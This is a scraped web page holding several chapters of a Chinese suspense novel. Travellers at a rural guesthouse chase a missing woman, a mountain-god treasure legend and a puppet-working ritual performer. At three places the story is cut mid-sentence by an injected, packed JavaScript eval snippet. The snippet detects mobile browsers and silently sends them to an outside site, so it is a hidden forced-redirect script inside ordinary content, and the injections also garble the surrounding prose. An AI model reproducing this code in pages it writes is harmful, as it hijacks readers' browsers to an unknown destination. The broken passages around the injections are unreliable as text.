还有对谁都爱答不理的农家乐老板李萍,提到山神的宝藏居然比低价旅行团的导游介绍购物点位还卖力:“我们这边是有个传说,说是在明清时有个采宝家族在天坑的溶洞里藏了一批宝藏,这些年是有过一些人来寻宝……” 秋哥哼了一声,打断了她:“都什么年代了,还玩寻宝这套……就算真有宝藏,还不是早被你们本地人占为己有了。” 李萍不以为意:“那是山神的宝藏,我们不会去找,更不会拿。那些想去偷山神宝藏的人,都会受到惩罚……” 听李萍说到山神的惩罚,她身后的刘豹好像是见到出土文物了,乐得合不拢嘴,拿着刀比比划划:“还山神的惩罚,说说,你们山神都是什么惩罚?” 李萍面无表情:“会被山神的影子吃掉。” “山神的影子?”屠南想到了什么,松弛的表情上瞬间笼罩了一层淡淡的疑色。 秋哥趁机将手搭在她的腰间:“怎么,这就害怕了?胆子这么小,就敢一个人出来寻宝……” 屠南给想帮忙的余一舟和周筱安递了个眼色,一手搭在秋哥腕上,另一只手如蟠蛇顺着他的腰游移到另一侧:“是啊,要不秋哥您和两位大哥陪我一起去,咱们五人有个照应,到时候找到了宝藏,你们吃肉,匀我口汤就行。” “五人?”感受到屠南手上的力道,秋哥丢掉另一只手上的烟蒂,准备双手对抗。掣肘拿匕首时,发现腰间的匕首已经抵在他腰上,并不断向心脏的方向移去,这个女人的手太快了。 “我们还有其他事,不方便……” “其他事?不是来玩的嘛,还有什么事?” 一直站在盲区的刘豹被余一舟挡着,还没意识到秋哥的异常,而原本在秋哥身边的刘虎刚才已经被他一个眼神,送去三楼搜查了。 屠南故作暧昧地靠在秋哥肩上:“聊聊,把那个蠢货支开。” “豹子,去楼上看看你哥磨唧什么呢?” 尽管阿秋一直挤眼睛,刘豹还是被屠南的表情迷惑了,只当阿秋是想支开自己泡妞,配合地去了三楼。临走还带上了周筱安,李萍见状也跟着一起上了楼。 刘豹离开后,屠南挟制着阿秋进入大床房,余一舟紧张地跟进去,锁上门,生怕楼上的人听到动静会伤害周筱安和李萍。 “你到底想……”阿秋话说到一半,就被屠南反剪双手,按在床上。 余一舟想帮忙,只见屠南咬着匕首刃,熟练地用床上的绳子绑住阿秋的手脚,又把他提起来,让他坐在床边,自己则坐在和他正对面的电视柜上。 “谁说姑娘家不需要绳子,这不就用上了吗?对了,你们在找什么呢?不妨说来听听,说不定我能帮上忙。” “你不是来寻宝的?” 屠南斜睨天花板,作思考状:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821825|158733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根据社会心理学对攻击的界定,攻击是一种有意图伤害他人身体、社会关系或物体的行为。我没有主动伤害任何人的意图,所以我对你的行为算不上攻击,充其量算是被动攻击。” “……你特么有病吧。”阿秋的身体下意识向后靠。 屠南拍了拍手上的灰,从电视柜上站起来,走向阿秋:“攻击分两类,敌意型攻击和工具型攻击。比如你的手下拿着匕首威胁着我们的两位朋友,从当时的场景来看,那应该并不是面对挫折、侮辱、威胁或挑衅后的攻击反应,排除敌意型攻击。那应该就是工具型攻击,也就是说你们有明确的目标,这种目标起始于对某种物品或地位的渴望,例如金钱……” 眼看屠南伸出手搭在自己肩上,阿秋总觉得那比用刀架在他脖子上还危险,这种危险来自于一种未知的恐惧,他无法预料眼前的疯女人下一步会对他做什么。 没想到对方只是笑着说了句莫名其妙的话,什么也没做。 “这个呆子这些年还真是没少看书啊,脑子里都装的什么乱七八糟的。” 阿秋的脑子彻底宕机了,余一舟的勉强还能转。 屠南刚才说阿秋三人是为了金钱目标对自己还有李萍等人进行工具型攻击,这句话听起来唬人,其实翻译过来就是,他们是拿了人家的钱财做一些见不得人的勾当。 而从他们把农家乐翻了个底朝天的行为来看,像是在找人。 余一舟试探地问屠南: “你联系到李春梅了吗?” 屠南看样子有些含糊:“没有。” “她失联了,我大约半个小时前接到她的电话,电话那头没出声,当我准备挂断重拨时,听到一声哈气声。” “哈气声?” “对,就是呵——”余一舟学给屠南听,但隐瞒了自己曾在梦境中听到过那个声音。 “那还真是稀奇啊。” 说到李春梅,阿秋终于肯开口:“你们是李春梅找来的人?” 屠南与余一舟对视了一眼,没回答。 余一舟反问他:“你是张建平找来的?” 阿秋虽然嘴上没承认,但看他的反应,也能猜个七七八八。看来李春梅的丈夫没报警,而是雇了他们几个来找李春梅……可他为什么要这样做?李春梅又隐瞒了什么? 余一舟正想问屠南与李春梅和张洪涛之间的关系,大床房的门被人猛烈地敲动,门框震下来的墙皮让阿秋看到了希望,只是还没来得及求救,就被屠南一掌劈下去,晕了过去。 “保护好你自己。”屠南朝余一舟扔过去一支工兵铲,自己又拿起一支,关了灯,站在门后。 “快开门!是我……周筱安。” 幸亏周筱安及时地自报了家门,规避了脑袋被开瓢的风险。 门开了,工兵铲贴着他的高鼻梁由上而下,落在他滚动的喉结前: “把灯打开。” 周筱安双手举过头顶:“我开,我开,自己人,自己人。” 屠南警觉地朝他身后看了一圈,没有人。 “那两个人呢?还有那个老板?” “我正要说,那个虎还有豹把小老板带走了!” “带去哪?” “去找她二爸。那两个人好像在找一对母子,非要让李萍带他们去问她二爸……” 11. 失踪的母女 储藏间笔记节选—— 徐哥看世界的帖子发布于2012年,三年过去了,进入盘陀天坑的路已经发生了很大变化。我们没有找到几个重要路标,不出意外地迷了路。 没找到祭洞不说,我还在探路时差点摔下断崖。幸运的是,贺非抓住了我,保住了小命。不幸的是,我们为了回到小路牺牲了唯一的砍刀。我们只有原路返回这一条路,贺非有些不甘,不过他也没有其他办法。我看了表,我们准备往回走的时间是下午两点零七分,距离我们进入天坑过去了两个多小时。除去之前一路砍除荆棘的时间,我们应该会在两个小时以内返回原点。 三个多小时后,我们坐在满是杂草的地上,手机没有信号,手表和指南针都正常,从地图上看我们离进入天坑的地方还有一段距离。太阳快落山了,天又阴了下来。电闪雷鸣之后是风雨大作,山路更滑了,我们不敢贸然赶路,也不知道路在何方。明明是按照来时砍出来的路原路返回的……就在我们绝望地蹲在地上时,贺非看到了一道黑影闪过。起初我们都以为是当地的村民或游客,我们甚至追着黑影的方向走了一段,可不论我们怎么喊,都没有人回应,贺非说也许是他看花了眼。 我们再次按原路返回时,遇到了一个石船村的女孩。后来我才知道,如果不是她,我俩可能真的要寄了。 这个救了我俩狗命的女孩叫李萍,她力气很大,背着很重的竹筐,在山里采山货。她很淳朴,带我们下山还拒绝任何报酬,我们实在惭愧,临走时把带的一些零食都留给了她。 贺非说李萍让他想到一首民谣《阿楚姑娘》——在距离城市很远的地方/在我那沃野炊烟的故乡/有一个叫烽火台的村庄/有一个叫阿楚的姑娘…… 这好像是首情歌,这货说他没有那种意思,只是单纯觉得女孩朴实纯洁的气质像是存在于久远的歌声中,后来我发现那首歌是当年新发的。 由于离开石船村太晚,我们在附近镇上的网吧待了一宿,第二天才回他家。 为了感谢李萍,我们之后又买了一些零食和米面粮油去她家当面感谢。到了她家才知道她是个留守儿童,家里只有她一人……我们担心在一个小姑娘家待太久会害她被同村人议论,李萍说没关系,村里没什么人,还邀请我们陪她看会儿电视再走。 我们答应了,坐在她旁边的沙发上和她一起看电视,聊天。比电视上的哆啦A梦更吸引我们注意的是她胳膊上、手上触目惊心的伤口和疤痕,我们怀疑她遭到了虐待,但她说这些都是进天坑收山货时受的伤…… 下午四点多,我们准备开车回贺非家。李萍背着竹筐走路送我们到了村口,我们都劝她好生休息几天,可她执意要进山。 贺非说山货又没长腿,还能跑了不成,难道山里有什么宝贝,让她这么惦记。 李萍开玩笑地对我们说,有,是山神的宝藏。 ****** 刘虎刘豹绝非善类,李萍一个年轻女孩和他俩在一起,实在太危险。三人立刻商量了分工,余一舟留下看着阿秋,屠南和周筱安去找李萍。 两人刚到楼下,还没出李家大院的大门,李萍竟自己回来了。 “刘虎刘豹呢?” 周筱安不明所以:“他们不是跟你一起去找你二爸了?” “我二爸家没人应,我怕有什么事就进房间找他,出来时发现他俩不见了……” 屠南幽幽地说:“阿秋还在这,他们二人会去哪呢?” 李萍继续拨打她二爸的电话,等待的间隙,说出了自己的猜测:“可能是天坑!进门的时候,我看到他俩鬼鬼祟祟地偷拍我二爸家墙上的地图。” 那个刘豹刚才还在嘲笑山神,怎么会突然相信天坑里有山神的宝藏,还能精准偷拍李萍二爸家的地图?除非他们看了那本笔记。 屠南拽着周筱安的衬衫袖子来到角落:“我好像有个笔记本请你帮忙保管哦。” 周筱安看着她阴恻恻的笑容,没绷住,当场招供:“被他俩发现,抢走了……” “什么?” 屠南扬起眉毛,眼看巴掌就要起势,周筱安赶紧伸出双手,恭敬地握了上去:“关键时刻,咱们内部一定要团结!以和为贵!再说那个笔记本也不是你的,旧的不去新的不来,我一定赔你一个更好的……” 屠南抽回手,在衣服上蹭了蹭:“你怎么知道不是我的?” 周筱安发现说漏了嘴,手上冷汗分泌得更多了:“我……猜的,要是你的,肯定不能那么脏对吧。你看那个本子脏脏的,你多干净,身上一尘不染的……” 屠南的目光像是一条带刺的皮鞭,在他没话找话、没话硬说的嘴边来回鞭笞。 “哦,不仅搞丢了,还偷看……” “我发誓!我绝对不是故意的!” 其实,周筱安还没敢说,笔记本就是在他偷看时被刘虎、刘豹发现,抢走的。 屠南看着生气,但似乎对笔记本被抢走这件事没有很关注,反而问起:“那个笔记本很贵吗?” “montblanc,万宝龙的……” “可怜天下父母心啊。” “这两者之间有关系吗?” “回头再跟你算账。” 周筱安打了个激灵,是裤子口袋里的手机在振动,来电是余一舟。 “阿秋醒了。” ****** 屠南走到阿秋身边,抓着绳子将他拽起,中气十足的气声中充满了幸灾乐祸:“刚刚,你的两位兄弟抛下你去天坑寻宝了。” 看着屠南四人全须全尾的站在他面前,阿秋有些慌神。 “要我看,你们根本不是来找人的,就是来抢劫的……”屠南转头看向李萍,“老板,咱们也别跟他废话了,报警吧,咱们这也算帮警察先控制一个嫌疑人了。” 李萍瞪着阿秋,点头道:“好。” 听到报警、抢劫,阿秋沉不住气了:“老子是来找人的。” 周筱安趁机火上浇油:“找人?你们乱翻我们房间,我看就是在找值钱的东西。小偷小摸被发现了,改明抢了。” “你见过谁抢劫农家乐?你们几个凑一块能掏得出几个子?”阿秋冷哼一声,鼻孔朝天。 周少爷被质疑就很不服气:“瞧不起谁呢?信不信我……” 余一舟一把拉开这个现眼包:“张建平应该只给了你们定金吧。” 周筱安轻声问:“张建平又是谁?” 余一舟含混地答他:“李春梅的丈夫。” “李春梅这名字有点熟啊……”周筱安想起梦里余一舟一直在找的女人好像就是叫这个名字! 余一舟没理他,接着对阿秋说:“这样僵持下去,你什么都得不到,还有可能替你那两位不讲义气的兄弟顶罪,我都替你不值啊。” 阿秋想了想:“你们呢?绑了张建平的妻儿,李春梅已经把钱付给你们了吧。” 余一舟被他绕晕了: “张建平的妻儿?李春梅就是张建平的妻子,她的儿子叫张洪涛,前不久已经去世了……” 余一舟点开李春梅的朋友圈,背景图就是一家三口的合照。 阿秋瞥了一眼:“那就不知道咯,反正是张建平亲口说的,他老婆叫秦潇潇,有个小女儿叫西西,这两个人被李春梅绑架了。” 周筱安插了一句:“你不知道李春梅才是张建平的老婆?” 阿秋吊儿郎当地摇头:“不知道,张建平只说尽量不伤害李春梅,不过最重要的还是把他妻儿救出来。” 周筱安似乎又懂了:“如果张建平的妻子是李春梅,那他们在找的就是他的小三和私生女。可是这三个人怎么会同时出现在这个地方呢?有没有可能是李春梅因爱生恨……” 对于周筱安的无端推测,余一舟立刻替雇主解释道:“李春梅是来见屠南的,应该不是像你想的那样……” 周筱安看了看余一舟,又看向屠南:“见屠南?她见屠南干嘛?你们原来认识?” 屠南思考了片刻,替不知如何开口的余一舟回答道:“不认识。不过她确实是来见我的,因为她怀疑我害死了她儿子……” 周筱安瞠目结舌,不论是对屠南的直白,还是她们相见的理由:“那是真的吗?” 屠南咧开嘴,冲他笑了笑: “你猜?” 周筱安头摇得像拨浪鼓,但心里还有些打鼓。屠南在梦里救了他们,他潜意识里觉得她是个好人,可看到她淡定娴熟地和歹人对峙,还有那变化的态度和玩味的笑。人心是复杂的,虽然他倾向于她是个好人。 ****** 阿秋知道的也就这么多,四人商议后决定先把他关进储藏间,待明天一早报警。 李萍和屠南、余一舟把阿秋扔进了储藏间,就回到了一楼大堂。每个人都有一肚子问题,四个人围坐在八仙桌的四方,七嘴八舌。 余一舟清了清嗓子:“我提议,我们按照顺序挨个提问,一人问,一人答,一人每次只问一个问题。” 屠南举手赞同:“我同意,为了避免带来不必要的危险和麻烦,建议回答者只说实话,如果不想回答,可以拒绝回答,但请不要说谎。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821826|158733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 周筱安也举起手:“我也同意,不过我们从谁开始呢?” 李萍提议:“猜拳。” 余一舟取得了猜拳的最终胜利,迫不及待地提出了第一个问题:“我想问屠南,你对张洪涛有进行过精神控制吗?” 屠南似乎又变回了一副没什么生气、阴沉沉的样子:“没有。” 第二个问题的机会被周筱安以“女士优先”推给了余一舟左手方向的屠南,屠南的提问对象就是他:“你是王安济堂的人?” 周筱安:“你怎么知道?” 屠南:“这是下一个问题了。” 屠南左手边是李萍,李萍的问题是问屠南的:“你是谁?你怎么知道夏节庆典?” 屠南:“一次只能问一个,你是想问前者,还是后者?” 李萍想了想:“你怎么知道夏节庆典?” 屠南:“我在读博期间,随同导师沈垚一起在石船村做田野调查时了解的。” 周筱安:“你之前来过这?” 屠南:“准确地说,我去过新石船村,就是老石船村人的新定居点,不在这,在山的另一边。” 余一舟:“兄弟,你的问题问完了,那我继续问了……” 周筱安想到自己本来想问的问题,捂着嘴,追悔莫及。 余一舟第二个问题的提问对象是李萍:“你有没有见过李春梅进村?” 李萍不假思索:“没有,他们在找的那几个人我都没见过。” 屠南的第二个问题还是对周筱安的,她知道余一舟的身份,也知道李萍的身份,明确了身份,就可以推测出目的:“你是王安济堂的什么人?” 周筱安想了想:“工作人员。王安济堂的东家是我妈,上一任是我姨婆,下一任估计是我表妹,我是给她们打工的。” 看来这个王安济堂是个家族企业,传女不传男,可屠南还是想不通他为什么会去养老院找陈碧君,亦或者去养老院找陈碧君的并不是他,而是王安济堂的其他人。 再次轮到李萍提问,她提问的对象也是周筱安:“他们我大概晓得,你来这是做什么?” 周筱安看着大家“关切”的眼神,摩挲手指:“刚才在走廊里我不是说过嘛,我是为我家药堂找药的,真的,就是找什么药,用来治什么我暂时还不能说,等我成功了一定告诉你们……我想问余一舟,今天下午你有没有做过一个奇怪的梦,梦里有老宅、傻子和戏台,最后我们一起跳进了水里。” 余一舟身子不自主地抖动了一下,小臂上泛起一层鸡皮疙瘩:“做过……和你说的一模一样。” 他冷静片刻,看向李萍:“今天下午我们两人做了同样的梦,和石船村有关,梦里的一切非常真实。我想请问……你们村的人是否有过类似的遭遇?” 对于余一舟的问题,李萍表情复杂:“你们确定是在做梦?下午一点多的时候,我看到你们三个人先后出去,你和他一起,她在你们后面……” 周筱安掏出手机,他的确在一点半左右与“东家”有一段二十分钟的通话记录。 “那我们是几点回来的?”他记得自己是在房间的床上醒来。梦里跳入火门后,他们坠入深潭,那不可能是真实发生的,首先在水下那么长时间会憋死,再者他醒来时衣服都是干的。 李萍指了指屠南:“不好意思,下个问题该她问了。” 屠南:“老石船村现在还有几户人家?” 李萍:“只有我家,我,我二爸还有爷爷奶奶。” 李萍话音刚落,周筱安拍了下巴掌:“这就对上了!那个抽水烟筒的爷爷是她爷爷,眼睛不好的奶奶是她奶奶,疯疯癫癫学我说话的是她二爸。” 李萍本不想给这几个房客讲太多家事,但听周筱安说二爸疯疯癫癫,还是忍不住纠正:“我二爸不疯,你们应该是遇到了王莽子……” 周筱安: “王莽子?” 李萍:“对,他是叔叔辈的,小时候生病脑壳烧坏了,父母走的早,靠我爷爷奶奶帮衬长大……” 余一舟:“那你刚才怎么没说……” 李萍:“他平日住天坑,不住村里……” 看到余一舟和周筱安还想提问,李萍做了个结语:“我没有问题了,刚你们各问了我一个问题,如果屠南没有问题就结束吧。” 余一舟、周筱安偃旗息鼓,一致看向屠南。 屠南顿了顿,似乎用了很大的勇气,才问出那句话:“我还有最后一个问题,你听说过肉傀儡吗?” 李萍的眼神有些飘忽:“没……没有。” 12. 寿木铺 早晨七点过,余一舟推开周筱安房间的门,差点被放在地上的书包绊倒,拿起书包无能狂怒,发现那是他自己的背包,还是他自己放在门口堵门的。 “阿……阿秋跑了!” 昨晚,为了防止刘虎刘豹杀个回马枪,大家一致决定都在一个房间休息,避免被“敌人”逐个击破。 休息的地点就在储藏间旁边的房间,也就是周筱安的房间,这样刚好可以看着隔壁的阿秋。 大家排了班,前半夜是屠南和余一舟值守,后半夜依次是周筱安和李萍接班。 余一舟的坏消息传来,最先睁眼的是坐在窗子旁边小沙发上闭目养神的屠南,其次是坐在门口椅子上打盹的李萍和躺在双人床上摆“大”字的周筱安。 最后一个醒来的人反应最为激烈:“怎么了,谁跑了!” 余一舟对这个口齿不清、睡眼惺忪的少爷有些无语:“隔壁阿秋!我出去上厕所时门还是关着的,回来就发现门开了。” 李萍还是不太相信,她一直在这里守着,什么都没听到:“你进去看了没?” 余一舟撇了撇嘴:“当然看了,绳子就在地上,没有人……” 屠南起身:“去看看。” 李萍抄起手边的工兵铲,另一把在周筱安手里,余一舟跟在屠南身后有种莫名的安全感,什么都没拿。 储藏间的门是半开的状态,据余一舟说,这是他进门检查时推开的,他刚发现时,门还是虚掩的。 屠南拿起地上的绳子,是原本的长度,看来是解开而不是割开的。 “只有一根短的,应该是绑脚的。” 周筱安抚着自己头顶那撮顽强的呆毛:“这怎么看出来的,你做标记了?” 余一舟用关爱智障的眼神看着他:“你觉得是解开手跑得快还是解开脚跑得快?是解开手动静大还是解开脚动静大?” 周筱安模拟被绑住脚蹦了几步,人清醒了不少:“不好意思刚没睡醒,你们继续……” 李萍皱着眉:“昨晚我们把他关进储藏间的时候,特意将他绑手的绳子和绑脚的绳子从背后用一根绳子连起来绑在了柜腿上,他不可能在没解开手上绳子的情况下,就解开脚上的绳子。而且如果他自己解绳子,很有可能会牵动柜子,发出声音,但我们什么都没听到。” 屠南点头:“那是我常用的登山绳,很难割断。还有他手、脚上打的结,虽然都是水手结,但我专门用了两种打法,其中一种还是我自创的,为的就是即便他费劲解开其中一个结,还要花些功夫研究,才能解开另一个结,这期间只要他发出声音,我们就会发现。 ” 周筱安:“所以,他有帮凶?” 屠南:“嗯,而且帮凶很有可能就在我们中间。” 周筱安:“咳咳,也许是刘虎刘豹回来救走了他们大哥呢,注意团结……” ****** 李萍破天荒地为房客们准备了早饭,白米稀饭和泡菜。 周筱安称之为“最后的早餐”,因为按照约定大家吃了这一餐稀饭就收拾东西滚蛋。 余一舟搅和着碗里的米感叹:“真没想到李春梅的事会节外生出这么多枝……” 嘴上是那样说,但他心里知道,十万块钱找个人,绝对没那么简单。不过他可不准备再蹚这趟浑水。他违背约定将李春梅失联的消息告诉了张建平,同时也警告了张建平立刻报警寻找李春梅,否则他会将昨晚的事告诉警察,这样张建平可能会成为警方的第一怀疑对象。 周筱安放下筷子:“拜他们三人所赐,我只能改日再探天坑了。” 余一舟咬了口酸萝卜:“嗯,建议你下次做足攻略,带好人马,有备而来。” 周筱安鄙夷地看着他:“你偷听我打电话!” 余一舟翻了个白眼:“那是偷听吗,你手机声音那么大……” 马上就要远离这个疑影重重的地方,余一舟和周筱安一扫昨日噩梦之阴霾,相谈甚欢。 屠南就没有他俩心情好,只看她吞了一口粥,看向李萍:“接下来准备怎么办?报警?” 李萍有心事,年轻的脸有些疲态:“要看我二爸的意思。” 屠南半含筷子:“你一会要去看他?我想和你一起去,拜访一下。” “拜访我二爸?” “对……” 自从知道屠南去过新石船村,李萍对她不再那么防备:“他脾气不好,惹到他要遭骂,你不能……” 李萍的言外之意是屠南要是不幸被她二爸骂了,可不能计较,做出给人家反手绑了之类的举动。 屠南点头,礼貌且疏离。 余一舟猜屠南去找李萍二爸大概率是为了李春梅的事,多问了一嘴:“那你什么时候走?我们等你一起……” 屠南:“我可能要晚一会。” ****** 李萍二爸家就在进村的主路边,一间瓦房,旁边是院墙和院门。瓦房的门是那种一条一条的木板连成的,木板上刷了层生漆,上面有用白漆写的“寿木”二字。 寿木就是棺木,寿木铺就是棺材铺。 虽然新社会普及了火葬,但是在很多地方,尤其是农村地区,还保留着“入土为安”的传统,就是火葬之后再入土,老人们通常会在活着的时候就为自己准备好棺木,就是找这种寿木铺来打。 余一舟看着“寿木”两字心头一紧,早知道就不来了,本想着干等也是等,干脆跟过去看看,谁能想到李萍她二爸的家居然是棺材铺。 “还好是白天……” 余一舟刚说完,一滴雨正好掉在他的眼镜片上,这地方一下大雨就是各种灾害预警加封路:“我这破嘴,老天保佑,千万别下大啊!” 院门没关,余一舟和周筱安跟在李萍和屠南身后进了院子。 进了院门,里面就是个普通的农家小院,雨棚下堆着木料,工具,还有几只木棺…… 趁李萍进屋去找她二爸,周筱安摸了其中一只,表情有些抽象:“这棺材怎么像独木舟?” 余一舟也伸手摸了摸:“有没有可能它就是。” 周筱安指着院门:“门上两个那么大的字,寿木,你该不会不知道寿木是什么吧?” 余一舟不甘示弱:“人家二爸多种经营不行吗?” 两人的嗓门越来越大,屠南忍不住插了一句:“有时候独木舟和棺材也可以是同一个东西,比如船棺。” 看屠南加入进来,周筱安立刻打开了屁精开关:“屠屠说得有道理,我也推测这就是传说中的船棺!” 瞟了眼余一舟诧异的眼神,周筱安反问:“怎么,难道你觉得屠屠说得没道理?” “我是觉得你脸真大,还你推测……” 见屠南去房门口偷听李萍和她二爸的墙角,余一舟朝周筱安做了几个隔空扇耳光的动作,又指了指屠南的背影:“还屠屠!再乱叫,小心挨揍……” “人家屠屠都没说什么,你管我。” “滚!滚!莫烦老子!” 幸亏屠南闪躲及时,一只脏兮兮的瓷碗从她面前的房门里飞出,摔在院子的砖地上,碎成了几瓣。 扔碗的就是李萍的二爸,李学昌。 余一舟就晚了一步,没拉住,眼看屠南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821827|158733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甩开膀子进了门。 “冷静,大家都冷静!”余一舟追了进去,一进门就被一股浓烈的醉酒气味当头一棒,熏得脑子直抽抽,想不起下一句词。 “你是哪个?”李学昌摇摇晃晃地指着余一舟,又指了指他身后的周筱安,好像面前的两人是一对重影。 “我们是李萍的朋友。叔叔要不您先坐下歇会,我帮您倒点水喝?”余一舟上前扶住险些栽倒的李学昌,送他坐在椅子上。 三人分工明确,屠南安慰哭泣的李萍,余一舟应付醉酒的李学昌,周筱安到处乱看。 李萍二爸家乱得几乎没有落脚的地方,唯一不沾灰的就是挂在墙上的相框,可见这应该是他的珍爱之物了。 相框大小在20寸左右,里面夹了很多老照片,襁褓中的婴儿照,结婚照,全家福……有的还是黑白的,年代久远,像是父辈那一代的,有的色彩奔放,应该是千禧年以后的。 周筱安着重看千禧年以后的那几张,有一对夫妻的结婚照,还有夫妻俩带着小儿子的影楼背景合照,还有小孩在游乐园玩耍的照片。照片上的男子意气风发,和缩在椅子里那个穿着邋遢、形容枯槁的老头很难联系在一起。 周筱安喃喃自语:“看来她二爸是有老婆孩子的,怎么昨天没听李萍说过,而且这个人长得有些面熟啊……” 脑筋动着动着,他瞳孔翕张:“是唱戏老头!” 余一舟找了半天,都没能在李学昌的家里淘出一只杯子半只碗。这时候又听外面堂屋闹了起来,隔着门瞟了一眼,李学昌正揪着李萍的衣领怒吼:“李旺,你莫管老子……” 李萍身边昨天还火力全开的屠南,今天不知怎么了,一直不在状态、萎靡不振,完全抵挡不住暴躁老头的攻势。眼看老头情绪激动,要做出更危险的举动,余一舟把手在衣服上蹭了蹭,出门拉架。 “余一舟!”周筱安的声音都在颤抖,“你仔细看看他是谁?” 余一舟揉了揉眼睛,面前的桌椅杂物好像一点点变淡,在他脚前方燃起了血色的烈火,还有没被充分燃尽的纸灰。 “恶鬼!休逃!” 他喘着粗气回到现实,好在老头的注意力都在侄女身上,没发现他的异常。 周筱安的腿好像被粘在水泥地上了,一动不动地站在原地,冲他说着唇语:“现在怎么办?” 余一舟面如死灰地回之以唇语:“跑!” “她俩怎么办?” “一起跑!” 周筱安进退两难,现在的问题是屠南一直在李萍和她二爸之间拉扯,该怎么把这个消息不着痕迹地告诉她? “有了!”周筱安急中生智,从钱夹里掏出几张百元钞票,那是他为了防止有些地方没信号付不了钱准备的。 他刚才隐约听到,李萍她二爸在问她要钱,好像是要出去喝酒打牌,钱是最好的镇定剂。 “叔叔,这是李萍之前借给我的钱,我现在有钱了,就直接还给您了,要是没什么事我们就先走了。”周筱安走到三人中间,尽量避免看李学昌的眼睛,把钱塞进他手里,接着拉着屠南和李萍飞快地离开李学昌家的小院。 “我什么时候借你钱了?”李萍挣脱开周筱安,回头看了眼身后的寿木铺,眼神中充满了担忧。 “这是缓兵之计,缓兵之计……” 周筱安紧张得舌头都捋不直了,还是余一舟替他解释。 “他是为了找个机会叫你们一起出来。李萍,你知道你二爸会唱戏吗?” “知道,他是傩师,会唱傩戏。” “还会操纵傀儡人?” “……” 13. 鬼师 雨十分俗套地下大了,大家都先回到李家大院避雨。 屠南联系了之前留了电话的货车司机,大哥说自己有点忙,不过可以帮屠南联系其他人,过会儿再给她回复。 挂了电话,她喝了口装在一次性纸杯里冒着热气的水,默默擦着头发上的雨水,看不出是在想心事还是在发呆。 八仙桌的另一侧,余一舟在手机上划拉着机票,盘算着是在山城市区住一晚划算,还是直接连夜飞回北城。住一晚,他这次的成本就是一晚上的酒店钱加机票钱。连夜飞回去,他家离机场又很远,那样必须在机场对付一晚,第二天一早再赶地铁回去。要论省钱,他也不是没想过坐火车摇回去,不过耽误那么长时间容易使女友担心误会,毕竟奶茶店的兼职人员出差这件事已经很离谱了…… 周筱安还是一副万事不挂心的乐天达观,明明刚才还被吓得屁滚尿流,转眼就能恢复元气:“朋友们,晚上有安排吗?要不要一起,我请客!” 见屠南和余一舟没什么反应,他又回头对坐在电视机前看《哆啦A梦》的李萍说:“小老板也一起吧,反正你这店也没什么人,关门出去玩两天,放松放松,逸逸结合嘛。” 屠南放下毛巾,也看向李萍:“既然有人要花钱,咱们就都去给他助助兴,这年头还没听说过想花钱花不出去的。” 余一舟放下手机,摩拳擦掌:“不去白不去,那我可要骄奢逸一回了!” 周筱安朝他肩上拍了一掌:“你小子,还骄奢逸,淫字都留心里了吧。” 李萍盯着电视机屏幕,一阵鼻酸,这么多年,还是第一次有人邀请她出去玩,不过她似乎已经养成了心口不一的习惯:“钱多没处花哦……” 周筱安以为她还在为自己自作主张给她二爸塞钱生气:“不好意思,刚才我和钱眼子吓飞了,就想快点脱身才出此下策,不是显摆,更不是要支持你二爸培养不良嗜好,跟你道歉。” 余一舟:“钱眼子?” 李萍:“吓飞了?” 周筱安白了余一舟一眼:“就允许你给我微信备注妈宝男,我就不能叫你钱眼子?” 余一舟哑巴了,备注确实是他备的,就是不知道这小子是什么时候发现的。 说到吓飞,周筱安严肃起来:“其实刚才也不能怪我俩大惊小怪,昨天我们看到了你二爸在村子的戏台上操控稻草人,我们也分不清那是梦还是真,总之他要是光操控稻草人我们也不会…关键是他不仅能操控那些傀儡人,还能操纵我们,屠屠也看到了,她可以作证!” 屠南想说什么,终究是没说,只是点了点头。 李萍走到八仙桌前,拉开椅子坐下。 “我二爸叫李学昌,学习的学,昌盛的昌。你们刚才说,昨天看到他在戏台,那可能是他在排演傩戏,因为他是傩师。” “我爷爷也是傩师,就是你们刚才听他喊的李旺。这一代本来传给了我父亲李学隆,但我父母不愿意一辈子窝在这个穷山沟,偷偷离开家去南边打工,我就是在他们打工的地方出生的。我四岁那年,爸妈因为意外在异乡去世,我还有他俩的骨灰都是他们的工友筹钱送回来的……” 按照李萍的说法,她爷爷李旺是个倔老头,因为早就和李萍的父母断绝了关系,所以不肯认在外面出生的李萍。李学昌这个二儿子为了照顾脑中风的父亲,重度白内障的母亲还有没爹没妈的侄女,带着新婚妻子返回了石船村,李萍就是这样被自己的叔叔婶婶照顾长大的。 “我二爸本来是个很好的人,他幽默风趣、也很能干,但在二妈去世以后完全变了。” 周筱安想起李学昌家的结婚照上,那个穿着红色套装的年轻女人:“原来你二妈去世了啊……” 